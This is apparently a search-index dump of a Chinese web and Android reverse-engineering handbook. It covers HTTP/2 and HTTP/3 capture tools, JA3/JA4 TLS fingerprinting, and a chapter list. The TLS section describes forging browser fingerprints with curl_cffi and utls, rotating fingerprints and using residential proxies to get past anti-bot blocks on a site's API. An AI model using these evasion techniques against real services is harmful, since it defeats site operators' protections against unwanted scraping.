","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:7:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#51-协议协商-alpn"},{"categories":null,"collections":null,"content":"5.2 抓包工具选择 工具 HTTP/1.1 HTTP/2 HTTP/3 备注 Wireshark ✅ ✅ ✅ 需要配置解密 Chrome DevTools ✅ ✅ ✅ 最方便 Burp Suite ✅ ✅ ❌ 不支持 HTTP/3 Charles Proxy ✅ ✅ ❌ 不支持 HTTP/3 mitmproxy ✅ ✅ ⚠️ 实验性支持 注意: 大部分 MITM 代理工具不支持 HTTP/3，因为 QUIC 难以中间人攻击。 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:7:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#52-抓包工具选择"},{"categories":null,"collections":null,"content":"5.3 自动化工具兼容性 Puppeteer / Playwright // 默认支持 HTTP/2 和 HTTP/3 const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto(\"https://cloudflare-quic.com/\"); // 检测协议版本 const protocol = await page.evaluate(() =\u003e { return performance.getEntriesByType(\"navigation\")[0].nextHopProtocol; }); console.log(`使用协议: ${protocol}`); // h2 或 h3 Requests (Python) import requests # requests 默认只支持 HTTP/1.1 # 需要使用 httpx 或 urllib3 的新版本 import httpx async with httpx.AsyncClient(http2=True) as client: response = await client.get('https://example.com/') print(response.http_version) # HTTP/2 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:7:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#53-自动化工具兼容性"},{"categories":null,"collections":null,"content":"5.3 自动化工具兼容性 Puppeteer / Playwright // 默认支持 HTTP/2 和 HTTP/3 const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto(\"https://cloudflare-quic.com/\"); // 检测协议版本 const protocol = await page.evaluate(() =\u003e { return performance.getEntriesByType(\"navigation\")[0].nextHopProtocol; }); console.log(`使用协议: ${protocol}`); // h2 或 h3 Requests (Python) import requests # requests 默认只支持 HTTP/1.1 # 需要使用 httpx 或 urllib3 的新版本 import httpx async with httpx.AsyncClient(http2=True) as client: response = await client.get('https://example.com/') print(response.http_version) # HTTP/2 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:7:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#puppeteer--playwright"},{"categories":null,"collections":null,"content":"5.3 自动化工具兼容性 Puppeteer / Playwright // 默认支持 HTTP/2 和 HTTP/3 const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto(\"https://cloudflare-quic.com/\"); // 检测协议版本 const protocol = await page.evaluate(() =\u003e { return performance.getEntriesByType(\"navigation\")[0].nextHopProtocol; }); console.log(`使用协议: ${protocol}`); // h2 或 h3 Requests (Python) import requests # requests 默认只支持 HTTP/1.1 # 需要使用 httpx 或 urllib3 的新版本 import httpx async with httpx.AsyncClient(http2=True) as client: response = await client.get('https://example.com/') print(response.http_version) # HTTP/2 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:7:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#requests-python"},{"categories":null,"collections":null,"content":"5.4 TLS 指纹识别 HTTP/2 和 HTTP/3 的使用会影响 TLS 指纹。 JA3 指纹差异: HTTP/1.1 Client: ALPN: [http/1.1] HTTP/2 Client: ALPN: [h2, http/1.1] HTTP/3 Client: ALPN: [h3, h2, http/1.1] 对抗方法: 使用 curl-impersonate 或 tls-client 库模拟真实浏览器指纹。 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:7:4","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#54-tls-指纹识别"},{"categories":null,"collections":null,"content":"6. 性能优化建议 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:8:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#6-性能优化建议"},{"categories":null,"collections":null,"content":"6.1 针对 HTTP/2 减少域名分片: HTTP/2 不需要多域名，反而有害 避免内联资源: HTTP/2 的多路复用使独立文件更高效 使用服务器推送: 预推送关键 CSS/JS 合理设置优先级: 标记关键资源的优先级 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:8:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#61-针对-http2"},{"categories":null,"collections":null,"content":"6.2 针对 HTTP/3 启用 0-RTT: 减少重复访问的延迟 优化 UDP: 确保防火墙不阻止 UDP 443 降级策略: 在 HTTP/3 失败时降级到 HTTP/2 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:8:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#62-针对-http3"},{"categories":null,"collections":null,"content":"7. 常见问题 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:9:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#7-常见问题"},{"categories":null,"collections":null,"content":"Q1: 如何强制使用特定的 HTTP 版本？ Chrome: # 禁用 HTTP/2 chrome --disable-http2 # 禁用 QUIC (HTTP/3) chrome --disable-quic curl: curl --http1.1 https://example.com/ # 强制 HTTP/1.1 curl --http2 https://example.com/ # 强制 HTTP/2 curl --http3 https://example.com/ # 强制 HTTP/3 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:9:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#q1-如何强制使用特定的-http-版本"},{"categories":null,"collections":null,"content":"Q2: Burp Suite 无法抓取 HTTP/3 流量怎么办？ 解决方案: 禁用 HTTP/3: 在浏览器中禁用 QUIC Chrome: chrome://flags/ 搜索 “QUIC”，设为 Disabled 使用 Wireshark: Burp 不支持 HTTP/3，使用 Wireshark 抓包 服务器降级: 删除 Alt-Svc 头，阻止客户端升级到 HTTP/3 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:9:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#q2-burp-suite-无法抓取-http3-流量怎么办"},{"categories":null,"collections":null,"content":"Q3: HTTP/2 是否会泄露更多指纹信息？ 是的，HTTP/2 引入了新的指纹点： SETTINGS 帧参数: 不同客户端的初始设置不同 优先级树: 请求优先级的设置方式 流 ID 分配: 奇偶性和顺序 检测示例: Chrome: SETTINGS_HEADER_TABLE_SIZE: 65536 SETTINGS_INITIAL_WINDOW_SIZE: 6291456 Firefox: SETTINGS_HEADER_TABLE_SIZE: 4096 SETTINGS_INITIAL_WINDOW_SIZE: 65535 对抗: 使用真实浏览器而非脚本工具。 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:9:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#q3-http2-是否会泄露更多指纹信息"},{"categories":null,"collections":null,"content":"8. 工具与资源 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:10:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#8-工具与资源"},{"categories":null,"collections":null,"content":"推荐工具 工具 用途 链接 Wireshark 抓包分析 https://www.wireshark.org/ httpx Python HTTP/2/3 客户端 https://www.python-httpx.org/ curl 命令行 HTTP 客户端 https://curl.se/ h2spec HTTP/2 合规性测试 https://github.com/summerwind/h2spec quic-go Go 语言 QUIC 实现 https://github.com/quic-go/quic-go ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:10:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#推荐工具"},{"categories":null,"collections":null,"content":"学习资源 HTTP/2 RFC 7540 HTTP/3 RFC 9114 QUIC RFC 9000 HTTP/2 Explained (中文) ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:10:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#学习资源"},{"categories":null,"collections":null,"content":"9. 总结 HTTP/2 和 HTTP/3 是现代 Web 的基石，理解它们对于逆向工程至关重要： HTTP/2: ✅ 已广泛部署，必须掌握 ✅ 工具支持完善 ⚠️ TCP 队头阻塞仍存在 HTTP/3: 未来趋势，逐步普及 更安全（内置加密） ⚠️ 工具支持有限 逆向建议: 优先使用 Chrome DevTools 分析 HTTP/2 可用 Burp/Charles，HTTP/3 用 Wireshark 代码中使用 httpx 支持新协议 注意协议降级和兼容性 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:11:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#9-总结"},{"categories":null,"collections":null,"content":"相关章节 HTTP/HTTPS 协议 TLS/SSL 握手过程 TLS 指纹识别 Wireshark 指南 浏览器开发者工具 ","date":"2025-07-11","objectID":"/reverse_engineering/web/04-advanced-recipes/http2_http3/:12:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"HTTP/2 与 HTTP/3","uri":"/reverse_engineering/web/04-advanced-recipes/http2_http3/#相关章节"},{"categories":null,"collections":null,"content":"TLS 指纹识别 (JA3/JA4) ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:0:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#tls-指纹识别-ja3ja4"},{"categories":null,"collections":null,"content":"思考时刻 在学习 TLS 指纹之前，先挑战你的认知： HTTPS 就安全了吗？ 即使用了加密传输，网站还能识别出你是爬虫？ 握手的秘密： 在 HTTPS 连接建立的一瞬间，浏览器暴露了哪些信息？ 指纹的不可见性： 你用 Python requests 发请求，HTTP 头伪装得再像，为什么还是被识别出来？ 实战场景： 某网站封禁了所有 Python requests 的访问（返回 403），但用浏览器访问正常。你连一个请求都没发，它是怎么知道的？ TLS 指纹，是应用层之下的\"暗战\"。 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:1:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#思考时刻"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 TLS/SSL 握手 必需 TLS/SSL 握手 HTTP/HTTPS 协议 必需 HTTP/HTTPS 协议 Wireshark 使用 必需 Wireshark 指南 浏览器指纹识别 推荐 浏览器指纹识别 ⚠️ 重要提示: TLS 指纹是应用层之下的检测手段，无法通过修改 HTTP 头来伪装。如果你的爬虫被 TLS 指纹识别封禁，需要使用特殊的网络库或浏览器自动化方案。 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:2:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#-前置知识"},{"categories":null,"collections":null,"content":"概述 TLS 握手过程中，客户端会发送一系列参数（如支持的加密套件、扩展等），这些参数的组合可以作为指纹识别客户端类型。JA3/JA4 是目前最流行的 TLS 指纹技术。 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:3:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#概述"},{"categories":null,"collections":null,"content":"TLS 握手回顾 Client -----\u003e ClientHello (包含加密套件、扩展等) -----\u003e Server Client \u003c----- ServerHello (选择加密套件) \u003c----- Server ... ClientHello 包含的信息: TLS 版本 支持的加密套件列表 支持的压缩方法 扩展（Extension）列表 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:4:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#tls-握手回顾"},{"categories":null,"collections":null,"content":"JA3 指纹 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:5:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#ja3-指纹"},{"categories":null,"collections":null,"content":"1. 原理 JA3 将 ClientHello 中的关键字段拼接成字符串，然后计算 MD5。 字段: TLS版本, 加密套件列表, 扩展列表, 椭圆曲线列表, 椭圆曲线点格式 示例: 771,49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-5-10-11-13-65281,23-24-25,0 计算 MD5: JA3 = md5(\"771,49195-49199-...\") = \"3b5074b1b5d032e5620f69f9f700ff0e\" ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:5:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#1-原理"},{"categories":null,"collections":null,"content":"2. 用途 服务器端: 识别客户端类型（浏览器 vs 脚本） 封禁特定客户端（如 Python requests 的 JA3） 攻击者: 伪造浏览器的 TLS 指纹 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:5:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#2-用途"},{"categories":null,"collections":null,"content":"JA3 检测 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:6:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#ja3-检测"},{"categories":null,"collections":null,"content":"在线工具 tls.peet.ws - 查看自己的 JA3 JA3er - JA3 数据库 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:6:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#在线工具"},{"categories":null,"collections":null,"content":"Wireshark 抓包 捕获 HTTPS 流量 过滤 ssl.handshake.type == 1 (ClientHello) 查看 Cipher Suites 和 Extensions ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:6:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#wireshark-抓包"},{"categories":null,"collections":null,"content":"JA3 伪造 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:7:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#ja3-伪造"},{"categories":null,"collections":null,"content":"方法一：使用支持 TLS 指纹的库 Python - curl_cffi: from curl_cffi import requests # 模拟 Chrome response = requests.get('https://tls.peet.ws/api/clean', impersonate='chrome110') print(response.text) Go - utls: import \"github.com/refraction-networking/utls\" config := \u0026utls.Config{ ServerName: \"example.com\", } conn := utls.UClient(tcpConn, config, utls.HelloChrome_Auto) ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:7:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#方法一使用支持-tls-指纹的库"},{"categories":null,"collections":null,"content":"方法二：使用真实浏览器（RPC） 通过 Puppeteer/Playwright 控制真实浏览器，天然具有正确的 TLS 指纹。 const puppeteer = require(\"puppeteer\"); (async () =\u003e { const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto(\"https://example.com\"); const content = await page.content(); console.log(content); await browser.close(); })(); ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:7:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#方法二使用真实浏览器rpc"},{"categories":null,"collections":null,"content":"JA4 - 下一代指纹 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:8:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#ja4---下一代指纹"},{"categories":null,"collections":null,"content":"与 JA3 的区别 特性 JA3 JA4 格式 MD5 哈希 人类可读字符串 协议支持 TLS 1.0-1.3 TLS 1.0-1.3, QUIC 细粒度 中 高 可读性 低（哈希） 高（分段字符串） JA4 示例: t13d1516h2_8daaf6152771_e5627efa2ab1 t13: TLS 1.3 d15: 加密套件数量 16: 扩展数量 h2: ALPN (HTTP/2) ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:8:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#与-ja3-的区别"},{"categories":null,"collections":null,"content":"绕过 TLS 指纹检测 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:9:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#绕过-tls-指纹检测"},{"categories":null,"collections":null,"content":"1. 使用模拟库 选择支持自定义 TLS 指纹的 HTTP 库： curl_cffi (Python) utls (Go) tls-client (Python wrapper for Go utls) ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:9:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#1-使用模拟库"},{"categories":null,"collections":null,"content":"2. 频繁更换指纹 即使被识别，也可以轮换不同的浏览器指纹（Chrome/Firefox/Safari）。 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:9:2","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#2-频繁更换指纹"},{"categories":null,"collections":null,"content":"3. 使用住宅代理 高质量住宅代理通常会保留真实用户的 TLS 特征。 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:9:3","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#3-使用住宅代理"},{"categories":null,"collections":null,"content":"检测网站是否使用 TLS 指纹 方法: 用 requests 库和真实浏览器分别访问同一接口 如果 requests 返回 403/401，浏览器正常，可能是 TLS 指纹检测 验证: import requests # Python requests 的 TLS 指纹 response = requests.get('https://tls.peet.ws/api/clean') print(response.json()) # 查看 JA3 对比浏览器访问 https://tls.peet.ws/api/clean 的结果。 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:10:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#检测网站是否使用-tls-指纹"},{"categories":null,"collections":null,"content":"实战案例 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:11:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#实战案例"},{"categories":null,"collections":null,"content":"案例：某社交媒体 API 现象: Python requests 请求返回 403，浏览器正常。 分析: 检查 User-Agent - 已伪造，仍然失败 检查 Cookie - 已携带，仍然失败 怀疑 TLS 指纹 解决: from curl_cffi import requests # 使用 curl_cffi 模拟 Chrome 的 TLS 指纹 response = requests.get( 'https://api.socialmedia.com/user/info', headers={'User-Agent': 'Mozilla/5.0 ...'}, cookies={'session': 'xxx'}, impersonate='chrome110' ) print(response.text) # 成功！ ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:11:1","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#案例某社交媒体-api"},{"categories":null,"collections":null,"content":"相关资源 JA3 - Salesforce JA4+ Network Fingerprinting curl-impersonate ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:12:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#相关资源"},{"categories":null,"collections":null,"content":"相关章节 浏览器指纹识别 HTTP/2 与 HTTP/3 反爬虫技术深度分析 ","date":"2025-07-08","objectID":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/:13:0","tags":["Web","浏览器指纹","代理池","WebAssembly","SSL Pinning","加密分析"],"title":"TLS 指纹识别 (JA3/JA4)","uri":"/reverse_engineering/web/04-advanced-recipes/tls_fingerprinting/#相关章节"},{"categories":null,"collections":null,"content":"配方编号系统 本书采用系统化的编号方式组织内容，帮助你快速定位所需信息。 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:0:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#配方编号系统"},{"categories":null,"collections":null,"content":"章节编号规则 本书分为八大部分，每部分有独立的编号前缀： 编号前缀 章节名称 内容定位 数量 Q Quick Start 快速入门 3 R Recipes 场景化解决方案（核心内容） 35 T Tools 工具使用指南与原理 10 C Case Studies 实战案例分析 8 F Foundations 基础知识参考 13 A Advanced 高级主题参考 7 E Engineering 工程化参考 10 X Appendix 附录资源与索引 5 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:1:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#章节编号规则"},{"categories":null,"collections":null,"content":"Quick Start 编号 (Q) 快速入门章节，帮助新读者快速上手。 编号 名称 内容说明 Q01 关于本书 本书介绍与阅读指南 Q02 快速入门 10 分钟快速入门 Q03 环境配置 开发环境搭建 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:2:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#quick-start-编号-q"},{"categories":null,"collections":null,"content":"Recipes 编号 (R) Recipes（配方）是本书的核心内容，共 35 个配方： ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:0","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#recipes-编号-r"},{"categories":null,"collections":null,"content":"入门基础 (R01-R03) 编号 配方名称 解决的问题 R01 逆向工程完整工作流程 标准化的逆向分析流程 R02 网络抓包分析 网络请求捕获与分析 R03 Objection 快速分析 使用 Objection 快速分析 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:1","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#入门基础-r01-r03"},{"categories":null,"collections":null,"content":"核心分析 (R04-R08) 编号 配方名称 解决的问题 R04 静态分析深入 深入静态分析技术 R05 动态分析深入 深入动态分析技术 R06 Frida 常用脚本 实用 Frida 脚本集合 R07 JNI 开发原理 JNI 接口与调用原理 R08 SO 编译与加载 Native 库编译加载流程 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:2","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#核心分析-r04-r08"},{"categories":null,"collections":null,"content":"脱壳与解密 (R09-R13) 编号 配方名称 解决的问题 R09 脱壳技术概述 通用脱壳技术与原理 R10 Frida 脱壳实战 使用 Frida 进行脱壳 R11 加密算法分析 加密算法识别与还原 R12 SO 字符串解密 SO 文件字符串解密 R13 Native 字符串混淆 Native 层字符串混淆分析 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:3","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#脱壳与解密-r09-r13"},{"categories":null,"collections":null,"content":"反检测对抗 (R14-R18) 编号 配方名称 解决的问题 R14 应用加固识别 识别各类加固方案 R15 Frida 反调试绕过 绕过 Frida 检测 R16 Xposed 反调试绕过 绕过 Xposed 检测 R17 设备指纹与绕过 设备指纹采集与伪造 R18 Native Hook 技术 Native 层 Hook 实现 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:4","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#反检测对抗-r14-r18"},{"categories":null,"collections":null,"content":"高级反混淆 (R19-R22) 编号 配方名称 解决的问题 R19 SO 混淆与反混淆 SO 文件混淆还原 R20 OLLVM 反混淆 OLLVM 混淆分析与还原 R21 VMP 虚拟机分析 虚拟机保护分析 R22 C 语言仿真脚本 C 语言算法仿真 ","date":"2025-06-26","objectID":"/reverse_engineering/android/05-appendix/numbering/:3:5","tags":["OLLVM","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"配方编号系统","uri":"/reverse_engineering/android/05-appendix/numbering/#高级反混淆-r19-r22"},{"categories":null,"collections":null,"content":"网络与协议 (R23-R27) 编号 配方名称 解决的问题 R23 TLS 指纹识别 TLS 指纹分析与处理 R24 JA3 指纹技术 JA3 指纹原理与应用 R25 JA4 指纹技术 JA4 指纹原理与应用 R26 验证码绕过技术 滑块与点选验证码绕过 R27 移动安全与反爬 移动端风控与反机器人 